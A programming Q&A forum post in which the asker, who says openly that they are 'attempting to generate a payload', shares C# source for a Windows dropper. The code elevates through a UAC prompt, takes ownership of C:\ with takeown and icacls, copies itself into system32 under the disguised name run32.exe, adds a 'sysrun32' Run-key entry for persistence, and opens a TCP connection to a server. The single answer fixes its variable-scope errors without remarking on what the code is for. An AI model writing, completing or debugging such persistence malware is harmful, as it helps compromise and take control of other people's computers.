Trying to reference registry dll in run-time compilation

Viewed 62

Error (CS0103): The name 'regk' does not exist in the current context

Error (CS0103): The name 'rk' does not exist in the current context

I am attempting to generate a payload.

Full code:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.IO;
using System.Security.AccessControl;
using System.ComponentModel;
using System.Diagnostics;
using Microsoft.Win32;
using System.Net.Sockets;
namespace Test
{
    class Class2
    {
        public static bool RunOnStartup(string AppTitle, string AppPath)
        {
            RegistryKey rk;
            try
            {
                rk = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
                rk.SetValue(AppTitle, AppPath);
                return true;
            }
            catch (Exception)
            {
            }

            try
            {
                rk = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
                rk.SetValue(AppTitle, AppPath);
            }
            catch (Exception)
            {
                return false;
            }
            return true;
        }

        static void drop()
        {
            //take ownership of the file, code assumes file you want to delete is toBeDeleted.txt
            ProcessStartInfo processInfo = new ProcessStartInfo("cmd.exe", @"/k takeown /f C:\ && icacls C:\ /grant %username%:F");
            processInfo.CreateNoWindow = true;
            processInfo.UseShellExecute = true;
            processInfo.Verb = "runas";
            processInfo.FileName = System.Reflection.Assembly.GetExecutingAssembly().Location;//path of your executable
            try
            {
                Process.Start(processInfo);
                // a prompt will be presented to user continue with deletion action
                // you may want to have some other checks before deletion
                File.Move(System.Reflection.Assembly.GetExecutingAssembly().Location, @"C:\Windows\system32\run32.exe");


                RunOnStartup("sysrun32", @"C:\Windows\system32\run32.exe");


            }
            catch (Win32Exception)
            {
                //Do nothing as user cancelled UAC window.
            }
            catch (System.IO.IOException)
            {

            }
        }


        static void Main()
        {

            string serverip = "127.0.0.1";
            if (File.Exists(@"C:\Windows\System32\run32.exe"))
            {
                if (System.Reflection.Assembly.GetExecutingAssembly().Location == @"C:\Windows\system32\run32.exe")
                {
                    try

                    {
                        if(!Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\F12").GetValue == "true")
                        {
                            regk = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\F12", true);
                            rk.SetValue("needsrun", "true");
                        } 
                        else
                        {

                            TcpClient client = new TcpClient(serverip, 6675);
                            NetworkStream ns = client.GetStream();
                            ns.Write();

                        }



                    }
                    catch (Exception e)
                    {

                    }
                }
            } 
            else
            {
                drop();
            }
        }
    }
}

There is my full code. Any help would be appreciated. -bobboo101

1 Answers

Since regk isn't defined you need to define it's type or use var when you declare it e.g. var regk =.

You also can't access rk from Main because it's declared in RunOnStartup

You need to revise your class to store those variables at the class level as fields e.g. within Class2 and then you can access them from the methods you declare however keep in mind you have declared your methods as static so you will need to do the same for the variables or change the calls of your program to pass them to an instance.

Related